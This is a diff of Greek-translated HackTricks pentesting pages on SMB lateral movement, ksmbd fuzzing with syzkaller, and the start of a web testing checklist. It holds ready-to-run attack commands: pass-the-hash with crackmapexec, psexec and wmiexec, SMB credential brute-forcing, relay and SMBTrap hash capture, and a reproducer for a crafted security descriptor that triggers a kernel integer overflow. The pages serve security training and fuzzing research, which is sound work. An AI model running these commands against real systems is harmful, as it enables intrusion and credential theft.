Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στο μηχάνημα του θύματος και θα το χρησιμοποιήσουν για να **εκτελέσουν κάτι** (**psexec** θα **upload** ένα εκτελέσιμο αρχείο στο ADMIN$ share και **smbexec** θα δείχνει σε **cmd.exe/powershell.exe** και θα βάλει στα arguments το payload --**file-less technique-**-).\
**Περισσότερες πληροφορίες** για [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)και [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στο μηχάνημα του θύματος και θα τη χρησιμοποιήσουν για να **εκτελέσουν κάτι** (το **psexec** θα **ανεβάσει** ένα εκτελέσιμο αρχείο στο share ADMIN$ και το **smbexec** θα δείξει σε **cmd.exe/powershell.exe** και θα βάλει στα ορίσματα το payload --**file-less technique-**-).\
**Περισσότερες πληροφορίες** για [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) και [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -389,11 +390,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε στο **kerberos** αντί για **NTLM**
Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Εκτελέστε αθόρυβα ένα command shell χωρίς να αγγίξετε τον δίσκο ή να τρέξετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **port 135.**\
Εκτελέστε αθόρυβα ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκκινήσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **port 135.**\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -401,7 +402,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε με **kerberos** αντί για **NTLM**
Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε στο **kerberos** αντί για **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -426,44 +427,44 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce διαπιστευτήρια χρηστών**
## **Bruteforce users credentials**
**Αυτό δεν συνιστάται — μπορεί να κλειδώσετε έναν λογαριασμό αν ξεπεράσετε τον μέγιστο επιτρεπόμενο αριθμό προσπαθειών**
**Αυτό δεν συνιστάται — μπορεί να κλειδώσετε έναν λογαριασμό αν υπερβείτε τον μέγιστο επιτρεπόμενο αριθμό προσπαθειών**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**Περισσότερες πληροφορίες για αυτή την επίθεση εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **capture SMB authentication sessions** σε ένα εσωτερικό δίκτυο και να **relays** αυτές σε μια **target machine**. Εάν η authentication **session is successful**, θα σας οδηγήσει αυτόματα σε ένα **system** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Η βιβλιοθήκη των Windows URLMon.dll προσπαθεί αυτόματα να αυθεντικοποιηθεί στον host όταν μια σελίδα προσπαθεί να προσπελάσει περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"`
Η βιβλιοθήκη των Windows URLMon.dll προσπαθεί αυτόματα να αυθεντικοποιηθεί στον host όταν μια σελίδα επιχειρεί να προσπελάσει περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"`
Αυτό συμβαίνει με τις συναρτήσεις:
This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Οι οποίες χρησιμοποιούνται από κάποιους browsers και εργαλεία (όπως το Skype)
Οι οποίες χρησιμοποιούνται από ορισμένα προγράμματα περιήγησης και εργαλεία (όπως Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap χρησιμοποιώντας MitMf
### SMBTrap using MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα target system (π.χ. μέσω SMB) μπορεί να προκαλέσει μια προσπάθεια SMB authentication, επιτρέποντας την υποκλοπή του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει offline ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack).
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα target system (π.χ. μέσω SMB) μπορεί να προκαλέσει μια προσπάθεια SMB authentication, επιτρέποντας την υποκλοπή του NetNTLMv2 hash με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει offline ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack).
[Δείτε: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Αυτόματες Εντολές
## HackTricks Automatic Commands
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.

View File

@ -3,21 +3,21 @@
{{#include ../../banners/hacktricks-training.md}}
## Επισκόπηση
Αυτή η σελίδα συνοψίζει πρακτικές τεχνικές για την άσκηση και το fuzzing του Linux in-kernel SMB server (ksmbd) χρησιμοποιώντας syzkaller. Εστιάζει στη διεύρυνση της επιφάνειας επίθεσης του πρωτοκόλλου μέσω διαμόρφωσης, στην κατασκευή ενός stateful harness ικανό να αλυσοδέσει SMB2 operations, στη δημιουργία grammar-valid PDUs, στην κατευθυνόμενη μεταβολή προς προσωπουμένους κώδικες με χαμηλή κάλυψη και στην αξιοποίηση δυνατοτήτων του syzkaller όπως focus_areas και ANYBLOB. Ενώ η αρχική έρευνα απαριθμεί συγκεκριμένα CVEs, εδώ δίνουμε έμφαση στην επαναχρησιμοποιήσιμη μεθοδολογία και στα απτά snippets που μπορείτε να προσαρμόσετε στο δικό σας περιβάλλον.
Αυτή η σελίδα συνοψίζει πρακτικές τεχνικές για να εξασκήσετε και να κάνετε fuzz τον in-kernel SMB server (ksmbd) στο Linux χρησιμοποιώντας syzkaller. Επικεντρώνεται στην επέκταση της επιφάνειας επίθεσης του πρωτοκόλλου μέσω διαμόρφωσης, στην κατασκευή ενός stateful harness ικανό να αλυσοδέσει SMB2 operations, στη δημιουργία grammar-valid PDUs, στην εισροή μεταλλάξεων προς ασθενώς καλυμμένες διαδρομές κώδικα και στην εκμετάλλευση χαρακτηριστικών του syzkaller όπως τα focus_areas και ANYBLOB. Ενώ η αρχική έρευνα απαριθμεί συγκεκριμένα CVEs, εδώ δίνουμε έμφαση στη επαναχρησιμοποιήσιμη μεθοδολογία και σε συγκεκριμένα αποσπάσματα κώδικα που μπορείτε να προσαρμόσετε στις δικές σας ρυθμίσεις.
Στόχος: SMB2/SMB3 πάνω από TCP. Kerberos και RDMA είναι σκόπιμα εκτός πεδίου για να κρατήσει το harness απλό.
Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA είναι εσκεμμένα εκτός πεδίου για να κρατήσουμε το harness απλό.
---
## Διεύρυνση της επιφάνειας επίθεσης του ksmbd μέσω διαμόρφωσης
Σε ένα ελάχιστο ksmbd setup πολλά μέρη του server μένουν ανεξερεύνητα. Ενεργοποιήστε τα παρακάτω χαρακτηριστικά για να αναγκάσετε τον server να περάσει από επιπλέον parsers/handlers και να φτάσετε σε βαθύτερες διαδρομές κώδικα:
## Επέκταση της Επιφάνειας Επίθεσης του ksmbd μέσω Διαμόρφωσης
Εξ ορισμού, μια ελάχιστη εγκατάσταση ksmbd αφήνει μεγάλα μέρη του server ανεξερεύνητα. Ενεργοποιήστε τα παρακάτω χαρακτηριστικά για να οδηγήσετε τον server μέσω επιπλέον parsers/handlers και να φτάσετε σε βαθύτερες διαδρομές κώδικα:
- Global-level
- Σε global επίπεδο
- Durable handles
- Server multi-channel
- SMB2 leases
- Per-share-level
- Oplocks (on by default)
- Σε επίπεδο κάθε share
- Oplocks (ενεργά από προεπιλογή)
- VFS objects
Η ενεργοποίηση αυτών αυξάνει την εκτέλεση σε modules όπως:
@ -29,27 +29,27 @@
- vfs_cache.c (lookup cache)
Σημειώσεις
- Exact options depend on your distros ksmbd userspace (ksmbd-tools). Review /etc/ksmbd/ksmbd.conf and per-share sections to enable durable handles, leases, oplocks and VFS objects.
- Multi-channel and durable handles alter state machines and lifetimes, often surfacing UAF/refcount/OOB bugs under concurrency.
- Οι ακριβείς επιλογές εξαρτώνται από το userspace ksmbd της διανομής σας (ksmbd-tools). Ελέγξτε /etc/ksmbd/ksmbd.conf και τις ενότητες per-share για να ενεργοποιήσετε durable handles, leases, oplocks και VFS objects.
- Multi-channel και durable handles αλλάζουν τα state machines και τα lifetimes, συχνά αναδεικνύοντας UAF/refcount/OOB bugs υπό concurrency.
---
## Προσαρμογές αυθεντικοποίησης και περιορισμού ρυθμού για Fuzzing
SMB3 χρειάζεται έγκυρη συνεδρία. Η υλοποίηση Kerberos στα harnesses προσθέτει πολυπλοκότητα, οπότε προτιμήστε NTLM/guest για fuzzing:
## Προσαρμογές Πιστοποίησης και Rate-Limiting για Fuzzing
Το SMB3 χρειάζεται έγκυρη session. Η υλοποίηση Kerberos στα harnesses προσθέτει πολυπλοκότητα, οπότε προτιμήστε NTLM/guest για fuzzing:
- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST.
- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths.
- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early.
- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing.
- Επιτρέψτε guest πρόσβαση και ορίστε map to guest = bad user ώστε άγνωστοι χρήστες να καταλήγουν σε GUEST.
- Accept NTLMv2 (patch policy αν είναι απενεργοποιημένο). Αυτό διατηρεί το handshake απλό ενώ ασκεί τα SMB3 code paths.
- Patch out strict credit checks κατά τη διάρκεια του πειραματισμού (το post-hardening για CVE-2024-50285 έκανε το simultaneous-op crediting πιο αυστηρό). Διαφορετικά, τα rate-limits μπορούν να απορρίψουν fuzzed sequences πολύ νωρίς.
- Αυξήστε τα max connections (π.χ. σε 65536) για να αποφύγετε πρόωρες απορρίψεις κατά το high-throughput fuzzing.
Προσοχή: Αυτές οι χαλαρώσεις εξυπηρετούν αποκλειστικά το fuzzing. Μην τις αναπτύξετε σε παραγωγικό περιβάλλον.
Προσοχή: Αυτές οι χαλαρώσεις γίνονται μόνο για να διευκολύνουν το fuzzing. Μην τις εφαρμόσετε σε παραγωγικό περιβάλλον.
---
## Stateful Harness: Εξαγωγή πόρων και αλυσίδωση αιτήσεων
Το SMB είναι stateful: πολλά αιτήματα εξαρτώνται από identifiers που επιστρέφονται από προηγούμενες απαντήσεις (SessionId, TreeID, FileID pairs). Το harness σας πρέπει να κάνει parse τις απαντήσεις και να επαναχρησιμοποιεί IDs μέσα στο ίδιο πρόγραμμα για να φτάσει σε βαθύτερους handlers (π.χ. smb2_create → smb2_ioctl → smb2_close).
## Stateful Harness: Extract Resources and Chain Requests
Το SMB είναι stateful: πολλές αιτήσεις εξαρτώνται από identifiers που επιστρέφονται από προηγούμενες απαντήσεις (SessionId, TreeID, FileID pairs). Το harness σας πρέπει να κάνει parse τις απαντήσεις και να επαναχρησιμοποιεί τα IDs εντός του ίδιου προγράμματος για να φτάσει σε βαθιούς handlers (π.χ., smb2_create → smb2_ioctl → smb2_close).
Παράδειγμα snippet για επεξεργασία ενός response buffer (παραλείποντας το +4B NetBIOS PDU length) και αποθήκευση των IDs:
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
@ -76,13 +76,13 @@ break;
}
```
Συμβουλές
- Διατηρήστε μία διεργασία fuzzer που μοιράζεται authentication/state: καλύτερη σταθερότητα και κάλυψη με τους global/session πίνακες του ksmbd. syzkaller εξακολουθεί να εισάγει concurrency με το να χαρακτηρίζει ops ως async, και κάνει rerun εσωτερικά.
- Το πειραματικό reset_acc_state του Syzkaller μπορεί να επαναφέρει την global state αλλά μπορεί να προκαλέσει σημαντική επιβράδυνση. Προτιμήστε τη σταθερότητα και εστιάστε στο fuzzing.
- Διατήρησε μία διεργασία fuzzer που μοιράζεται την αυθεντικοποίηση/κατάσταση: καλύτερη σταθερότητα και κάλυψη με τους global/session πίνακες του ksmbd. Το syzkaller εξακολουθεί να εισάγει concurrency σημειώνοντας τις ops ως async, επανεκτελεί εσωτερικά.
- Το πειραματικό reset_acc_state του syzkaller μπορεί να επαναφέρει την global κατάσταση αλλά μπορεί να προκαλέσει μεγάλη επιβράδυνση. Προτίμησε σταθερότητα και εστίασε στο fuzzing.
---
## Δημιουργία SMB2 βάσει γραμματικής (Valid PDUs)
Μεταφράστε τις δομές SMB2 των Microsoft Open Specifications σε μια γραμματική για fuzzer ώστε ο generator σας να παράγει δομικά έγκυρα PDUs, που συστηματικά φτάνουν στους dispatchers και στους IOCTL handlers.
## Παραγωγή SMB2 με Οδηγό Γραμματικής (Έγκυρα PDUs)
Μετατρέψτε τις SMB2 δομές των Microsoft Open Specifications σε μια γραμματική για fuzzer ώστε ο generator σας να παράγει δομικά έγκυρα PDUs, τα οποία φτάνουν συστηματικά στους dispatchers και IOCTL handlers.
Παράδειγμα (SMB2 IOCTL request):
```
@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
Αυτό το στυλ επιβάλλει τα σωστά μεγέθη/offsets των δομών και βελτιώνει δραματικά την κάλυψη σε σύγκριση με blind mutation.
Αυτό το στυλ επιβάλλει σωστά μεγέθη/offsets των δομών και βελτιώνει δραματικά την κάλυψη σε σύγκριση με blind mutation.
---
## Κατευθυνόμενο Fuzzing με focus_areas
Χρησιμοποιήστε το πειραματικό focus_areas του syzkaller για να δώσετε μεγαλύτερο βάρος σε συγκεκριμένες συναρτήσεις/αρχεία που προς το παρόν έχουν αδύναμη κάλυψη. Παράδειγμα JSON:
## Directed Fuzzing With focus_areas
Χρησιμοποιήστε το πειραματικό focus_areas του syzkaller για να δώσετε μεγαλύτερο βάρος σε συγκεκριμένες functions/files που αυτή τη στιγμή έχουν ασθενή κάλυψη. Παράδειγμα JSON:
```json
{
"focus_areas": [
@ -122,9 +122,9 @@ Output array[int8]
]
}
```
Αυτό βοηθά στο να κατασκευαστούν έγκυρα ACLs που ενεργοποιούν τα arithmetic/overflow μονοπάτια στο smbacl.c. Για παράδειγμα, ένας κακόβουλος Security Descriptor με υπερμεγέθη dacloffset αναπαράγει ένα integer-overflow.
Αυτό βοηθά στην κατασκευή έγκυρων ACLs που ενεργοποιούν arithmetic/overflow paths στο smbacl.c. Για παράδειγμα, ένας κακόβουλος Security Descriptor με υπερμεγέθη dacloffset αναπαράγει ένα integer-overflow.
Δημιουργός αναπαραγωγής (ελάχιστο Python):
Reproducer builder (minimal Python):
```python
def build_sd():
import struct
@ -144,7 +144,7 @@ return bytes(sd)
---
## Ξεπερνώντας τα πλατώ κάλυψης με ANYBLOB
Τα anyTypes του syzkaller (ANYBLOB/ANYRES) επιτρέπουν τη σύμπτυξη πολύπλοκων δομών σε blobs που μεταλλάσσονται γενικά. Τροφοδοτήστε ένα νέο corpus από δημόσια SMB pcaps και μετατρέψτε τα payloads σε syzkaller προγράμματα που καλούν το pseudo-syscall σας (π.χ., syz_ksmbd_send_req):
Τα anyTypes του syzkaller (ANYBLOB/ANYRES) επιτρέπουν τη μετατροπή σύνθετων δομών σε blobs που μεταβάλλονται γενικά. Δημιουργήστε ένα νέο corpus από δημόσια SMB pcaps και μετατρέψτε τα payloads σε προγράμματα syzkaller που καλούν το pseudo-syscall σας (π.χ., syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@ -167,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
Αυτό επιταχύνει την εξερεύνηση και μπορεί άμεσα να ενεργοποιήσει UAFs (π.χ. στο ksmbd_sessions_deregister) ενώ αυξάνει την κάλυψη κατά μερικά τοις εκατό.
Αυτό επιταχύνει την εξερεύνηση και μπορεί να προκαλέσει άμεσα UAFs (π.χ., στο ksmbd_sessions_deregister), ενώ αυξάνει την κάλυψη κατά μερικά τοις εκατό.
---
## Sanitizers: Πέρα από το KASAN
- Το KASAN παραμένει ο κύριος ανιχνευτής για heap bugs (UAF/OOB).
- Το KCSAN συχνά παράγει false positives ή low-severity data races σε αυτόν τον στόχο.
- UBSAN/KUBSAN μπορεί να εντοπίσει declared-bounds mistakes που το KASAN χάνει λόγω array-index semantics. Παράδειγμα:
## Sanitizers: Πέρα από τον KASAN
- Ο KASAN παραμένει ο κύριος ανιχνευτής για σφάλματα heap (UAF/OOB).
- Ο KCSAN συχνά δίνει false positives ή data races χαμηλής σοβαρότητας σε αυτόν τον στόχο.
- Το UBSAN/KUBSAN μπορεί να εντοπίσει λάθη σε δηλωμένα όρια που ο KASAN χάνει λόγω της σημασιολογίας των array-index. Παράδειγμα:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@ -182,28 +182,28 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Η ρύθμιση num_subauth = 0 προκαλεί in-struct OOB read του sub_auth[-1], που εντοπίστηκε από τις declared-bounds checks του UBSAN.
Η ρύθμιση num_subauth = 0 προκαλεί in-struct OOB read του sub_auth[-1], που εντοπίστηκε από τους declared-bounds checks του UBSAN.
---
## Σημειώσεις για Διεκπεραιωτικότητα και Παραλληλισμό
- Μια μοναδική διεργασία fuzzer (shared auth/state) τείνει να είναι σημαντικά πιο σταθερή για το ksmbd και εξακολουθεί να αποκαλύπτει races/UAFs χάρη στον εσωτερικό async executor του syzkaller.
- Με πολλαπλά VMs μπορείτε ακόμη να φτάσετε σε εκατοντάδες εντολές SMB/δευτερόλεπτο συνολικά. Η κάλυψη σε επίπεδο συνάρτησης περίπου ~60% του fs/smb/server και ~70% του smb2pdu.c είναι εφικτή, αν και η κάλυψη μεταβάσεων κατάστασης υποαντιπροσωπεύεται από τέτοιες μετρήσεις.
## Throughput and Parallelism Notes
- Μία μόνο διεργασία fuzzer (shared auth/state) τείνει να είναι σημαντικά πιο σταθερή για ksmbd και συνεχίζει να αποκαλύπτει races/UAFs χάρη στον internal async executor του syzkaller.
- Με πολλαπλά VMs, μπορείτε ακόμα να φτάσετε σε εκατοντάδες SMB commands/second συνολικά. Function-level coverage περίπου ~60% του fs/smb/server και ~70% του smb2pdu.c είναι εφικτή, αν και η κάλυψη των state-transition είναι υποαντιπροσωπευμένη από τέτοια metrics.
---
## Πρακτική Λίστα Ελέγχου
## Practical Checklist
- Ενεργοποιήστε durable handles, leases, multi-channel, oplocks και VFS objects στο ksmbd.
- Επιτρέψτε guest και map-to-guest· αποδεχτείτε NTLMv2. Αφαιρέστε τα credit limits και αυξήστε τα max connections για σταθερότητα του fuzzer.
- Κατασκευάστε ένα stateful harness που αποθηκεύει στην cache τα SessionId/TreeID/FileIDs και αλυσσοποιεί create → ioctl → close.
- Χρησιμοποιήστε ένα grammar για SMB2 PDUs για να διατηρείτε τη δομική εγκυρότητα.
- Χρησιμοποιήστε focus_areas για να υπερβαρύνετε ασθενώς καλυμμένες συναρτήσεις (π.χ. μονοπάτια στο smbacl.c όπως smb_check_perm_dacl).
- Seed με ANYBLOB από πραγματικά pcaps για να σπάσετε plateaus· πακετάρετε τα seeds με syz-db για επαναχρησιμοποίηση.
- Τρέξτε με KASAN + UBSAN· αξιολογήστε προσεκτικά τις αναφορές UBSAN declared-bounds.
- Allow guest και map-to-guest; αποδεχτείτε NTLMv2. Patch out credit limits και αυξήστε τα max connections για σταθερότητα του fuzzer.
- Κατασκευάστε ένα stateful harness που caches SessionId/TreeID/FileIDs και αλυσοδέτει create → ioctl → close.
- Χρησιμοποιήστε ένα grammar για SMB2 PDUs για να διατηρείτε structural validity.
- Χρησιμοποιήστε focus_areas για να overweightάρετε weakly-covered functions (π.χ. smbacl.c paths όπως smb_check_perm_dacl).
- Seed με ANYBLOB από πραγματικά pcaps για να σπάσετε plateaus; pack τα seeds με syz-db για reuse.
- Τρέξτε με KASAN + UBSAN; triage τα UBSAN declared-bounds reports προσεκτικά.
---
## Αναφορές
## References
- Doyensec ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
@ -214,6 +214,6 @@ __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- Επιπλέον ανάγνωση: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,12 +1,12 @@
# 80,443 - Μεθοδολογία Pentesting Web
# 80,443 - Pentesting Web Μεθοδολογία
{{#include ../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
Η web υπηρεσία είναι η πιο **συνηθισμένη και εκτεταμένη υπηρεσία** και υπάρχουν πολλοί **διαφορετικοί τύποι ευπαθειών**.
Η web υπηρεσία είναι η πιο **συνηθισμένη και εκτενής υπηρεσία** και υπάρχουν πολλά **διαφορετικά είδη ευπαθειών**.
**Προεπιλεγμένες θύρες:** 80 (HTTP), 443 (HTTPS)
**Προεπιλεγμένη θύρα:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Οδηγίες για Web API
### Οδηγίες Web API
{{#ref}}
@ -26,46 +26,46 @@ web-api-pentesting.md
## Περίληψη μεθοδολογίας
> Σε αυτή τη μεθοδολογία υποθέτουμε ότι πρόκειται να επιτεθείτε σε ένα domain (or subdomain) και μόνο αυτό. Συνεπώς, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με αδιευκρίνιστο web server εντός του scope.
> Σε αυτή τη methodology θα υποθέσουμε ότι πρόκειται να επιτεθείς σε ένα domain (ή subdomain) και μόνο αυτό. Επομένως, πρέπει να εφαρμόσεις αυτή τη methodology σε κάθε εντοπισμένο domain, subdomain ή IP με ακαθόριστο web server εντός του scope.
- [ ] Ξεκινήστε με το **να εντοπίσετε** τις **τεχνολογίες** που χρησιμοποιεί ο web server. Ψάξτε για **κόλπα** που πρέπει να έχετε υπόψη κατά τη διάρκεια του υπόλοιπου τεστ εάν καταφέρετε να αναγνωρίσετε την τεχνολογία.
- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** στην έκδοση της τεχνολογίας;
- [ ] Χρησιμοποιείται κάποια **γνωστή τεχνολογία**; Κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
- [ ] Κάποιο **specialised scanner** για να τρέξετε (π.χ. wpscan);
- [ ] Εκτελέστε **general purposes scanners**. Δεν ξέρετε αν θα βρουν κάτι ή αν θα αποκαλύψουν κάποια ενδιαφέρουσα πληροφορία.
- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (αν HTTPS).
- [ ] Ξεκινήστε **spidering** της web σελίδας: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φάκελοι** και **παράμετροι που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικά ευρήματα**.
- [ ] _Σημειώστε ότι κάθε φορά που ένας νέος κατάλογος ανακαλύπτεται κατά τη διάρκεια brute-forcing ή spidering, πρέπει να γίνει spidering._
- [ ] **Directory Brute-Forcing**: Προσπαθήστε να brute force όλους τους ανακαλυφθέντες φακέλους ψάχνοντας για νέα **αρχεία** και **καταλόγους**.
- [ ] _Σημειώστε ότι κάθε φορά που ένας νέος κατάλογος ανακαλύπτεται κατά τη διάρκεια brute-forcing ή spidering, πρέπει να γίνει Brute-Forced._
- [ ] **Backups checking**: Δοκιμάστε αν μπορείτε να βρείτε **backups** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις backup.
- [ ] **Brute-Force parameters**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**.
- [ ] Μόλις έχετε **εντοπίσει** όλα τα πιθανά **endpoints** που δέχονται **user input**, ελέγξτε για κάθε είδους **vulnerabilities** σχετικές με αυτά.
- [ ] [Ακολουθήστε αυτή τη λίστα ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Ξεκίνα με το **identifying** των **technologies** που χρησιμοποιεί ο web server. Ψάξε για **tricks** που να έχεις υπόψη σου κατά την υπόλοιπη δοκιμή αν μπορέσεις να αναγνωρίσεις το tech.
- [ ] Υπάρχει οποιαδήποτε **known vulnerability** στην έκδοση της technology;
- [ ] Χρησιμοποιείται κάποια **well known tech**; Κάποιο **useful trick** για να εξάγεις περισσότερες πληροφορίες;
- [ ] Κάποιος **specialised scanner** να τρέξεις (όπως wpscan);
- [ ] Εκτέλεσε **general purposes scanners**. Ποτέ δεν ξέρεις αν θα βρουν κάτι ή αν θα αποκαλύψουν κάποια ενδιαφέρουσα πληροφορία.
- [ ] Ξεκίνα με τους **initial checks**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (αν είναι HTTPS).
- [ ] Ξεκίνα το **spidering** της σελίδας: Είναι ώρα να **βρεις** όλα τα πιθανά **files, folders** και **parameters being used.** Επίσης, έλεγξε για **special findings**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] **Directory Brute-Forcing**: Προσπάθησε να brute force όλα τα εντοπισμένα folders αναζητώντας νέα **files** και **directories**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **Backups checking**: Έλεγξε αν μπορείς να βρεις **backups** των **discovered files** προσθέτοντας κοινές backup extensions.
- [ ] **Brute-Force parameters**: Προσπάθησε να **βρεις hidden parameters**.
- [ ] Μόλις έχεις **identified** όλα τα πιθανά **endpoints** που δέχονται **user input**, έλεγξε για κάθε είδους **vulnerabilities** που σχετίζονται με αυτά.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Έκδοση Server (Vulnerable?)
## Server Version (Vulnerable?)
### Αναγνώριση
### Identify
Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\
Τα **HTTP headers και cookies της απόκρισης** μπορεί να είναι πολύ χρήσιμα για να **εντοπίσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **Nmap scan** μπορεί να αναγνωρίσει την έκδοση του server, αλλά επίσης μπορεί να φανούν χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com) **:**
Έλεγξε αν υπάρχουν **known vulnerabilities** για την έκδοση του server (**version**) που τρέχει.\
